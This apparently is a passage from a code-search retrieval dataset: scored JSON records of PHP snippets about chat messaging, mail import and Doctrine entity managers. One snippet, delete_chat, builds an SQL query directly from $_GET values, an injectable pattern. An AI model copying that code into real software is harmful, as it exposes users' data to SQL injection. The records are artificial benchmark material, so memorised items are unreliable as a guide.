\"\r </div>\" . \"\\n\";\r\r\r\n\t} elseif(substr($message, 0, strpos($message, ' ')) == 'POST_SWAPPLACE') {\r\r\r\n\t\t// If the message is a swap-place, we remove the 'POST_SWAPPLACE' msg\r\r\r\n\t\t$message = substr($message, 15, strlen($message));\r\r\r\n\t\t$chatlog .= \"<div class='msg-swapplace-wrapper' data-from='\" . $current_user_id . \"'>\". $message . \"<div class='msg-time'><span class='day'>\" . date('d/m') .\" </span><span class='hour'>\" . date('H:i') . \"</span></div></div>\" . \"\\n\";\r\r\r\n\t} elseif (($message) != \"\\n\") {\r\r\r\n\t\t// If the message is a string\r\r\r\n\t\t$reg_exUrl = \"/(http|https|ftp|ftps)\\:\\/\\/[a-zA-Z0-9\\-\\.]+\\.[a-zA-Z]{2,3}(\\/\\S*)?/\";\r\r\r\n\t\t$message = htmlentities(strip_tags($_POST['message']));\r\r\r\n\t\tif (preg_match($reg_exUrl, $message, $url)) {\r\r\r\n\t\t\t$message = preg_replace($reg_exUrl, '<a href=\"'.$url[0].'\" target=\"_blank\">'.$url[0].'</a>', $message);\r\r\r\n\t\t} \r\r\r\n\t\t$chatlog .= \"<div class='msg-wrapper' data-from='\" . $current_user_id . \"'><p>\" . str_replace(\"\\n\", \"</p><p>\", $message) . \"</p><div class='msg-time'><span class='day'>\" . date('d/m') .\" </span><span class='hour'>\" . date('H:i') . \"</span></div></div>\" . \"\\n\";\r\r\r\n\t}\r\r\r\n\t\r\r\r\n\t// We update the discussion field with the new chatlog\r\r\r\n\tupdate_field('discussion', $chatlog, $post_id);\r\r\r\n\r\r\r\n echo json_encode($log);\r\r\r\n\tdie();\r\r\r\n}", "title": "" }, { "docid": "23481f28aa565f6fdba1258fa3cad6b0", "score": "0.42195314", "text": "public function edit(Chat $chat)\n {\n //\n }", "title": "" }, { "docid": "c8dba5ae8a6c5f0dc7b415f6073c67c3", "score": "0.4217525", "text": "function formit($user,$force){\necho \"<FORM NAME =chatform METHOD =POST ACTION = chatin.php>\";\necho \"<INPUT TYPE=hidden VALUE=\".$user.\" name=user>\";\necho \"<INPUT TYPE=TEXT VALUE='' name=smess size=85>\";\necho \"<input type='hidden' name='time' id=time value='' />\";\necho \"<INPUT TYPE = Submit Name = sayit id=chatbutton VALUE ='Say it' onClick=tsub()>\";\n//auto send form?\nif ($force == 1){echo \"<script language='Javascript'>tsub();</script>\";}\n//document.chatform.submit();</script>\";}\necho \"</form>\";\n}", "title": "" }, { "docid": "fbacb388697e68a798d07564c75e832f", "score": "0.42105094", "text": "function flush()\n {\n $sql = \"DELETE FROM `\".$this->tblChatMsg.\"`\";\n \n return claro_sql_query($sql);\n }", "title": "" }, { "docid": "175652fc0de6c45c34b48c2f0857b015", "score": "0.42092028", "text": "public static function delete_chat(){\n\t\tinclude $_SERVER['DOCUMENT_ROOT'].'/core/db_config_inc.php';\n\n\t\t$delete_chat_query = \"UPDATE `chat` SET `archived`= '1' WHERE BINARY (`chat_hash` = '{$_GET['h']}' AND `u_email` = '{$_GET['e']}' AND `uname` = '{$_GET['u']}' AND `id` = '{$_GET['cid']}' AND `archived` = '0')\";\n\t\t\n\t\tif($result = $db->query($delete_chat_query) AND $db->affected_rows > 0){\n\t\t\treturn 1;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n\t\n\t}", "title": "" }, { "docid": "1975004bef9ff9f8d14b7baa39779797", "score": "0.420884", "text": "public function unBan()\r\n {\r\n $this->attributes['status'] = $this->status_message = '';\r\n\r\n return $this;\r\n }", "title": "" }, { "docid": "5fb94332c25b2b61f9e058c31fbc9f9f", "score": "0.4205493", "text": "public function getFreeze($user_id)\n {\n }", "title": "" }, { "docid": "f94b57e2c3c9bf06d30b74f20c3af7fb", "score": "0.4205478", "text": "protected function makeACopy()\n {\n $sentCopy = new Message();\n $this->copyInto($sentCopy, true, true);\n\n $sentCopy->setUserId($this->getFromId());\n $sentCopy->setIsRead(true);\n\n $sentCopy->save();\n }", "title": "" }, { "docid": "f2bf82bf19837836e57c6811b7eb9c3d", "score": "0.419797", "text": "function setUnLocked()\n {\n $this->_locked = 0;\n }", "title": "" }, { "docid": "3800d9faa212e1b34fa7ea7100a57add", "score": "0.41924953", "text": "public function mailboxupdate()\n\t{\n\t\t$this->model = new MailsModel();\n\t\t\n\t\t$mailbox = new fMailbox('imap', IMAP_HOST, IMAP_USER, IMAP_PASS);\n\t\t\n\t\t$messages = $mailbox->listMessages();\n\t\tif(is_array($messages) && count($messages) > 0)\n\t\t{\n\t\t\tfs_info(count($messages).' in Inbox');\n\t\t\t\n\t\t\t$progressbar = $this->progressbar(count($messages));\n\t\t\t\n\t\t\t$have_send = array();\n\t\t\t$i=0;\n\t\t\t\n\t\t\tforeach ($messages as $msg)\n\t\t\t{\n\t\t\t\t$i++;\n\t\t\t\t$progressbar->update($i);\n\t\t\t\tif($message = $mailbox->fetchMessage((int)$msg['uid']))\n\t\t\t\t{\n\t\t\t\t\t$mboxes = array();\n\t\t\t\t\tif(isset($message['headers']) && isset($message['headers']['to']))\n\t\t\t\t\t{\n\t\t\t\t\t\tforeach ($message['headers']['to'] as $to)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(strtolower($to['host']) == DEFAULT_HOST)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$mboxes[] = $to['mailbox'];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(isset($message['headers']['cc']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach ($message['headers']['cc'] as $to)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(strtolower($to['host']) == DEFAULT_HOST)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$mboxes[] = $to['mailbox'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(isset($message['headers']['bcc']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach ($message['headers']['cc'] as $to)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(strtolower($to['host']) == DEFAULT_HOST)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$mboxes[] = $to['mailbox'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(empty($mboxes))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$mailbox->deleteMessages((int)$msg['uid']);\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\n\t\t\t\t\t\t$mb_ids = $this->model->getMailboxIds($mboxes);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(!$mb_ids)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$mb_ids = $this->model->getMailboxIds(array('lost'));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( $mb_ids )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$body = '';\n\t\t\t\t\t\t\t$html = '';\n\t\t\t\t\t\t\tif(isset($message['html']))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\trequire_once 'lib/Html2Text.php';\n\t\t\t\t\t\t\t\t$h2t = new Html2Text($message['html']);\n\t\t\t\t\t\t\t\t$body = $h2t->get_text();\n\t\t\t\t\t\t\t\t$html = $message['html'];\n\t\t\t\t\t\t\t\t$html = preg_replace('#<script(.*?)>(.*?)</script>#is', '', $html);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif(isset($message['text']))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$body = $message['text'];\n\t\t\t\t\t\t\t\t$html = nl2br(autolink($message['text']));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$body = json_encode($message);\n\t\t\t\t\t\t\t}\n\t\t\n\t\t\t\t\t\t\t$attach = '';\n\t\t\t\t\t\t\tif(isset($message['attachment']) && !empty($message['attachment']))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$attach = array();\n\t\t\t\t\t\t\t\tforeach ($message['attachment'] as $a)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif($this->attach_allow($a['filename'],$a['mimetype']))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$new_filename = uniqid();\n\t\t\t\t\t\t\t\t\t\t$path = 'data/mailattach/';\n\t\t\t\t\t\t\t\t\t\twhile (file_exists($path.$new_filename))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t\t\t\t\t$new_filename = $i.'-'.$a['filename'];\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\n\t\t\t\t\t\t\t\t\t\tfile_put_contents($path.$new_filename, $a['data']);\n\t\t\t\t\t\t\t\t\t\t$attach[] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t'filename' => $new_filename,\n\t\t\t\t\t\t\t\t\t\t\t\t'origname' => $a['filename'],\n\t\t\t\t\t\t\t\t\t\t\t\t'mime' => $a['mimetype']\n\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$attach = json_encode($attach);\n\t\t\t\t\t\t\t}\n\t\t\n\t\t\t\t\t\t\tforeach ($mb_ids as $id)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(!isset($have_send[$id]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$have_send[$id] = array();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$md = $message['received'].':'.$message['headers']['subject'];\n\t\t\t\t\t\t\t\tif(!isset($have_send[$id][$md]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$have_send[$id][$md] = true;\n\t\t\t\t\t\t\t\t\t$this->model->saveMessage(\n\t\t\t\t\t\t\t\t\t\t\t$id, // mailbox id\n\t\t\t\t\t\t\t\t\t\t\t1, // folder\n\t\t\t\t\t\t\t\t\t\t\tjson_encode($message['headers']['from']), // sender\n\t\t\t\t\t\t\t\t\t\t\tjson_encode($message['headers']['to']), // to\n\t\t\t\t\t\t\t\t\t\t\tstrip_tags($message['headers']['subject']), // subject\n\t\t\t\t\t\t\t\t\t\t\t$body,\n\t\t\t\t\t\t\t\t\t\t\t$html,\n\t\t\t\t\t\t\t\t\t\t\tdate('Y-m-d H:i:s',strtotime($message['received'])), // time,\n\t\t\t\t\t\t\t\t\t\t\t$attach, // attachements\n\t\t\t\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\t\t\t\t0\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$mailbox->deleteMessages((int)$msg['uid']);\n\t\t\t}\n\t\t\techo \"\\n\";\n\t\t\tsuccess('ready :o)');\n\t\t}\n\t}", "title": "" }, { "docid": "f188033f3dec97b306daba887b61e2e0", "score": "0.418509", "text": "public function handle(): void {\n MarketBoard::where('is_locked', true)->update(['is_locked' => false]);\n }", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "64f5c01a959e6b9a81dcd36559fe3b0d", "score": "0.4184422", "text": "public function send();", "title": "" }, { "docid": "fe6d7c5a64fd06d75f828ce56cf96b46", "score": "0.41840988", "text": "function checkChatMessages() {\n\t\tif(strlen($GLOBALS[\"chat\"][1][0]) > 1) {\n\t\t\tif($GLOBALS[\"chat\"][1][1] != $GLOBALS[\"timestamp\"]) {\n\t\t\t\tif($GLOBALS[\"chat\"][1][1] > $GLOBALS[\"timestamp\"]) {\n\t\t\t\t\t$GLOBALS[\"timestamp\"] = $GLOBALS[\"chat\"][1][1];\n\t\t\t\t\techo json_encode(array(\"type\"=>\"chat\", \"event\"=>\"message\", \"msg\"=>$GLOBALS[\"chat\"][1][0], \"chatroom\"=>$GLOBALS[\"chatroom\"])).\"<br />\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "4bf41934f482068dba41c355ac65dbbc", "score": "0.4179336", "text": "public function startChat($who);", "title": "" }, { "docid": "a6a84c0453ec824ee975de7d1ca5c8e5", "score": "0.4176994", "text": "public function beeBotChat($request)\n {\n $runtime = new RuntimeOptions([]);\n\n return $this->beeBotChatWithOptions($request, $runtime);\n }", "title": "" }, { "docid": "eca07a0cfd803ff336be9722686ca80f", "score": "0.4176055", "text": "public function checkFreeSlotOnChatFinish(): void\n\t{\n\t\t$this->returnNotDistributedSessionsToQueue();\n\n\t\tImOpenLines\\Queue::transferToNextSession(false, ImOpenLines\\Queue\\Event::COUNT_SESSIONS_DEFAULT, $this->configLine['ID']);\n\t}", "title": "" }, { "docid": "c3d4a2bcb181e1a4e997da6fc336e260", "score": "0.41756713", "text": "public function rebackMessage()\n {\n }", "title": "" }, { "docid": "34df008283b640ce6b92dccc788061d0", "score": "0.41691092", "text": "public function checkFreeSlotOnMessageSend($messageData): void\n\t{\n\t\tif ($this->configLine['MAX_CHAT'] > 0)\n\t\t{\n\t\t\t$session = new Session();\n\t\t\t$resultLoad = $session->load([\n\t\t\t\t'USER_CODE' => $messageData['CHAT_ENTITY_ID'],\n\t\t\t\t'SKIP_CREATE' => 'Y'\n\t\t\t]);\n\n\t\t\tif ($resultLoad)\n\t\t\t{\n\t\t\t\t$firstMessage = $messageData['STATUS_BEFORE'] < Session::STATUS_CLIENT_AFTER_OPERATOR && $messageData['STATUS_AFTER'] == Session::STATUS_OPERATOR;\n\n\t\t\t\tif ($firstMessage)\n\t\t\t\t{\n\t\t\t\t\t$returnNotDistributed = ($this->configLine['TYPE_MAX_CHAT'] == ImOpenLines\\Config::TYPE_MAX_CHAT_ANSWERED ||\n\t\t\t\t\t\t$this->configLine['TYPE_MAX_CHAT'] == ImOpenLines\\Config::TYPE_MAX_CHAT_ANSWERED_NEW);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$returnNotDistributed = ($this->configLine['TYPE_MAX_CHAT'] == ImOpenLines\\Config::TYPE_MAX_CHAT_ANSWERED);\n\t\t\t\t}\n\n\t\t\t\tif ($returnNotDistributed)\n\t\t\t\t{\n\t\t\t\t\t$this->returnNotDistributedSessionsToQueue();\n\t\t\t\t\tImOpenLines\\Queue::transferToNextSession(false, ImOpenLines\\Queue\\Event::COUNT_SESSIONS_DEFAULT, $this->configLine['ID']);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" } ]
ac4bf6a35d9192ba6420cd3c93ca454c
Getting Doctrine2 entity manager
[ { "docid": "34c31941f2c10e13d1fc47866c900ea0", "score": "0.0", "text": "private static function getStaticD2EM()\n {\n return Zend_Registry::get( \"d2em\" )[ 'default' ];\n }", "title": "" } ]
[ { "docid": "4186945dc9fa3ce0d4d64a9aa80bdcbe", "score": "0.8673025", "text": "public static function getEntityManager() {\n return self::container()->get('manager.entity');\n }", "title": "" }, { "docid": "0cdb65facce9186f8d0331cc92110b4c", "score": "0.8467536", "text": "protected function getEntityManager ()\n {\n return $this->doctrine->getManager();\n }", "title": "" }, { "docid": "ce1459549e8e979ddc3cc64d18ca60a5", "score": "0.8412802", "text": "public function getEntityManager();", "title": "" }, { "docid": "e767dd6758234fd8edfb3ac1ce7d6215", "score": "0.84000933", "text": "public function getEntityManager()\n {\n return $this\n ->container\n ->get('doctrine')\n ->getManager();\n }", "title": "" }, { "docid": "0f4def6292baa416d2836684be0ed204", "score": "0.8300727", "text": "public function getEntityManager()\n {\n return $this['orm.em'];\n }", "title": "" }, { "docid": "7eb87c89987ad90039f94ec85c3a2130", "score": "0.829125", "text": "protected function entityManager() {\n\t\treturn $this->serviceLocator->get('Doctrine\\ORM\\EntityManager');\n\t}", "title": "" }, { "docid": "9d8bc0cafa8d98e649c20b2e37107277", "score": "0.81612927", "text": "public function getEntityManager()\n{\nif (null === $this->em) {\n$this->em = $this->getServiceLocator()\n->get('doctrine.entitymanager.orm_default');\n}\nreturn $this->em;\n}", "title": "" }, { "docid": "bc7155802b04a69b6edc5b6da0f23e49", "score": "0.8124625", "text": "public function getEntityManager(): EntityManager;", "title": "" }, { "docid": "cd3aba76a3427038c8dd01daa4d7a233", "score": "0.812311", "text": "public function getEntityManager()\n {\n return $this->em;\n }", "title": "" }, { "docid": "b83759b4d30db8eda17f5d96281bf5ad", "score": "0.8099414", "text": "public function getEntityManager()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "b83759b4d30db8eda17f5d96281bf5ad", "score": "0.8099414", "text": "public function getEntityManager()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "b83759b4d30db8eda17f5d96281bf5ad", "score": "0.8099414", "text": "public function getEntityManager()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "b83759b4d30db8eda17f5d96281bf5ad", "score": "0.8099414", "text": "public function getEntityManager()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "fb487748b9200287357a5cfcd853698a", "score": "0.80671644", "text": "public function getEntityManager()\n\t{\n\t\treturn $this->em;\n\t}", "title": "" }, { "docid": "cd149fce78747992af3b23aff57c5123", "score": "0.8019675", "text": "public function getDoctrineManager() {\n\t\treturn $this->doctrine->getManager();\n\t}", "title": "" }, { "docid": "d29887a721334c4ca2cd6bb9188bb573", "score": "0.8000742", "text": "protected function getEntityManager()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "849fbc61ffab6ac39963606edaf3151a", "score": "0.7980283", "text": "public static function getEntityManager() {\n return \\Drupal::entityTypeManager();\n }", "title": "" }, { "docid": "673893a5c94640fc1497fcf4cca268ac", "score": "0.7960182", "text": "protected function getEntityManager()\r\n {\r\n\tif (null === $this->entityManager)\r\n\t{\r\n\t $this->setEntityManager($this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager'));\r\n\t}\r\n\treturn $this->entityManager;\r\n }", "title": "" }, { "docid": "f9f15f1705d8a631407b809f835f7c1a", "score": "0.7946002", "text": "private function getEntityManager()\n {\n if ($this->em === null) {\n $this->em = $this->container->get('doctrine')->getManager();\n }\n return $this->em;\n }", "title": "" }, { "docid": "7739d35b86fbbf60786a0b7fc140dab0", "score": "0.79391676", "text": "public function getEntityManager() {\n\t\tif (null === $this->em) {\n\t\t\t$this->em = $this->getServiceLocator()\n\t\t\t\t\t->get('doctrine.entitymanager.orm_default');\n\t\t}\n\t\treturn $this->em;\n\t}", "title": "" }, { "docid": "6b3c586ed5ff542fe084fe3e6c3944cf", "score": "0.7926589", "text": "protected function getEntityManager()\n {\n return $this->getContainer()->get('doctrine')->getEntityManager('eayso');\n }", "title": "" }, { "docid": "ebfd5e65dd74821238f548e98c280249", "score": "0.78734165", "text": "public function getEntityManager() {\n\t\tif (null === $this->em) {\n\t\t\t$this->em = $this->getServiceLocator ()->get ( 'Doctrine\\ORM\\EntityManager' );\n\t\t}\n\t\treturn $this->em;\n\t}", "title": "" }, { "docid": "ef576127de87b79f9ad670f6b8c6bfbe", "score": "0.7832831", "text": "public function getEntityManager()\n {\n if ( !$this->entityManager ) \n {\n $this->entityManager = $this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager');\n }\n \n return $this->entityManager;\n }", "title": "" }, { "docid": "e37cbd06d617b5882896d1a5cd4e5b9e", "score": "0.7787935", "text": "public function getEntityManager() : EntityManagerInterface\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "81de186b0e3631fe83039111b4b9ded8", "score": "0.7712523", "text": "protected function getEntityManager() {\n if (null === $this->entityManager) {\n $this->setEntityManager($this->getServiceLocator()->get('doctrine.entitymanager.orm_default'));\n }\n return $this->entityManager;\n }", "title": "" }, { "docid": "e14e54b4c71444e1da45c0a2c5bb1637", "score": "0.7695624", "text": "public function getEntityManager()\n {\n if (empty(static::$entityManager)) {\n $config = Setup::createAnnotationMetadataConfiguration(Settings::getEntityPaths(), Settings::isDevMode());\n $connection = Settings::getDbConnection();\n\n static::$entityManager = LooEntityManager::create($connection, $config);\n }\n\n return static::$entityManager;\n }", "title": "" }, { "docid": "596cca2b67fb4f7571eef6c95a3e6252", "score": "0.7658751", "text": "public function getEntityManager() {\n\t\t$entities_dir = dirname(dirname(__DIR__)) . '/administrator/components/com_' . $this->componentname . '/model/entities';\n\t\t$isDevMode = $this->development;\n\n\t\t// Event-listener to change the #__ db-prefix into the current db-prefix\n\t\t$prefix = $this->jconfig->dbprefix;\n\t\t$evm = new EventManager;\n\t\t$tablePrefix = new TablePrefix($prefix);\n\t\t$evm->addEventListener(Events::loadClassMetadata, $tablePrefix);\n\n\t\t// Add UTF8 handler to EntityManager\n\t\t$evm->addEventSubscriber(\n\t\t\tnew \\Doctrine\\DBAL\\Event\\Listeners\\MysqlSessionInit('utf8', 'utf8_unicode_ci')\n\t\t);\n\n\t\t// Annotations-driver. You could use other drivers (like yaml or xml) here too\n\t\t$config = Setup::createAnnotationMetadataConfiguration(array($entities_dir), $isDevMode,null, null,false);\n\n\t\t// Database-connection configuration\n\t\t$conn = $this->getConfigurationOptions();\n\n\t\t// Obtaining the entity manager\n\t\t$entityManager = EntityManager::create($conn, $config, $evm);\n\n\t\t// Temporary, slow fix: without first calling getAllClassNames() I get a fatal error:\n\t\t// \"Call to private method JLoader::_autoload() in Doctrine\\Common\\ClassLoader on line 228\"\n\t\t//$classNames = $entityManager->getConfiguration()->getMetadataDriverImpl()->getAllClassNames(); // ---- fix: uncomment this line! ---\n\t\t// See: http://stackoverflow.com/questions/4532367/doctrine-not-working-unless-i-explicitly-call-annotationdrivergetallclassnames\n\t\t// Exact cause??? How to fix??? Has it anything to do with the order in which autoloading is taking place???\n\t\t// I get the error after: getRepository() in Jooctrine\\Model line 79\n\n\t\treturn $entityManager;\n\t}", "title": "" }, { "docid": "c2a5cdf8e4c5eb29dd11a50341cfd497", "score": "0.7597247", "text": "public static function getEntityManager()\n {\n if (empty(self::$em)) {\n throw new \\RuntimeException('Cannot get Entity Manager');\n }\n return self::$em;\n }", "title": "" }, { "docid": "416de9fd0d5a6a004ae68308b99ee174", "score": "0.7568242", "text": "protected function getEntityManager()\n {\n if (null === $this->entityManager) {\n $this->setEntityManager($this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager'));\n }\n return $this->entityManager;\n }", "title": "" }, { "docid": "416de9fd0d5a6a004ae68308b99ee174", "score": "0.7568242", "text": "protected function getEntityManager()\n {\n if (null === $this->entityManager) {\n $this->setEntityManager($this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager'));\n }\n return $this->entityManager;\n }", "title": "" }, { "docid": "1636c554a0d38dcb6f20789e0a2bdf56", "score": "0.7555257", "text": "public function getEntityManager($name = null)\n {\n $name = $name ? $name : 'doctrine.orm.entity_manager';\n return $this->get($name);\n }", "title": "" }, { "docid": "9b14a122a636a01c89ce51a7ec5b6fe0", "score": "0.75267494", "text": "protected function em($name='default')\n {\n return $this->getService(\"doctrine.orm.{$name}_entity_manager\");\n }", "title": "" }, { "docid": "ee3619a61807c893308d7f0b121755b7", "score": "0.7524922", "text": "protected function getEntityManager()\n {\n if (null === $this->entityManager) {\n $this->entityManager = $this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager');\n }\n\n return $this->entityManager;\n }", "title": "" }, { "docid": "56e9dd9443784882e7ed9390b087f427", "score": "0.7435396", "text": "protected function getObjectManager()\n {\n return $this->managerRegistry->getManager($this->managerName);\n }", "title": "" }, { "docid": "56e9dd9443784882e7ed9390b087f427", "score": "0.7435396", "text": "protected function getObjectManager()\n {\n return $this->managerRegistry->getManager($this->managerName);\n }", "title": "" }, { "docid": "ac1a95839972db760a21d22cb170e457", "score": "0.7382104", "text": "protected function getEntityManager()\n {\n if (null === $this->entityManager) {\n $this->entityManager = clone self::$container->get('doctrine.orm.entity_manager');\n }\n return $this->entityManager;\n }", "title": "" }, { "docid": "23b1b6e797e036deac812867c5c9f16b", "score": "0.72845644", "text": "public function getEntityManager($name = null) {\r\n\t\treturn $this->context->getState('entityManager');\r\n\t}", "title": "" }, { "docid": "425d7e0868a2aebbf30c48ebe2623ce6", "score": "0.72040355", "text": "public function getEntityManager(): EntityManager\n {\n if (is_null($this->entityManager)) {\n $this->entityManager = EntityManagerFactory::createEntityManager();\n }\n\n return $this->entityManager;\n }", "title": "" }, { "docid": "ddaaf8845d03e53f52bce49a38942a6e", "score": "0.7165764", "text": "protected function getDoctrine_Orm_DefaultEntityManagerService()\n {\n $a = $this->get('annotation_reader');\n\n $b = new \\Doctrine\\Common\\Cache\\ArrayCache();\n $b->setNamespace('sf2orm_default_e0f0da8c7c897f6675ad136ae2793749');\n\n $c = new \\Doctrine\\Common\\Cache\\ArrayCache();\n $c->setNamespace('sf2orm_default_e0f0da8c7c897f6675ad136ae2793749');\n\n $d = new \\Doctrine\\Common\\Cache\\ArrayCache();\n $d->setNamespace('sf2orm_default_e0f0da8c7c897f6675ad136ae2793749');\n\n $e = new \\Doctrine\\ORM\\Mapping\\Driver\\AnnotationDriver($a, array(0 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/ConfigBundle/Entity'), 1 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/EmailBundle/Entity'), 2 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/EntityConfigBundle/Entity'), 3 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/EntityExtendBundle/Entity'), 4 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/FormBundle/Entity'), 5 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/ImapBundle/Entity'), 6 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/NavigationBundle/Entity'), 7 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/OrganizationBundle/Entity'), 8 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/UserBundle/Entity'), 9 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/WindowsBundle/Entity'), 10 => (dirname(dirname(dirname(__DIR__))).'/vendor/oro/platform/src/Oro/Bundle/DataAuditBundle/Entity'), 11 => (dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/batch-bundle/Akeneo/Bundle/BatchBundle/Entity'), 12 => (dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/UserBundle/Entity'), 13 => (dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/UIBundle/Entity'), 14 => (dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/TranslationBundle/Entity'), 15 => (dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/ImportExportBundle/Entity')));\n\n $f = new \\Doctrine\\ORM\\Mapping\\Driver\\SimplifiedYamlDriver(array((dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/NotificationBundle/Resources/config/doctrine') => 'Pim\\\\Bundle\\\\NotificationBundle\\\\Entity', (dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/CatalogBundle/Resources/config/doctrine') => 'Pim\\\\Bundle\\\\CatalogBundle\\\\Entity', (dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/DataGridBundle/Resources/config/doctrine') => 'Pim\\\\Bundle\\\\DataGridBundle\\\\Entity', (dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/EnrichBundle/Resources/config/doctrine') => 'Pim\\\\Bundle\\\\EnrichBundle\\\\Entity', (dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/CommentBundle/Resources/config/doctrine') => 'Pim\\\\Bundle\\\\CommentBundle\\\\Entity'));\n $f->setGlobalBasename('mapping');\n\n $g = new \\Doctrine\\ORM\\Mapping\\Driver\\DriverChain();\n $g->addDriver($e, 'Oro\\\\Bundle\\\\ConfigBundle\\\\Entity');\n $g->addDriver($e, 'Oro\\\\Bundle\\\\EmailBundle\\\\Entity');\n $g->addDriver($e, 'Oro\\\\Bundle\\\\EntityConfigBundle\\\\Entity');\n 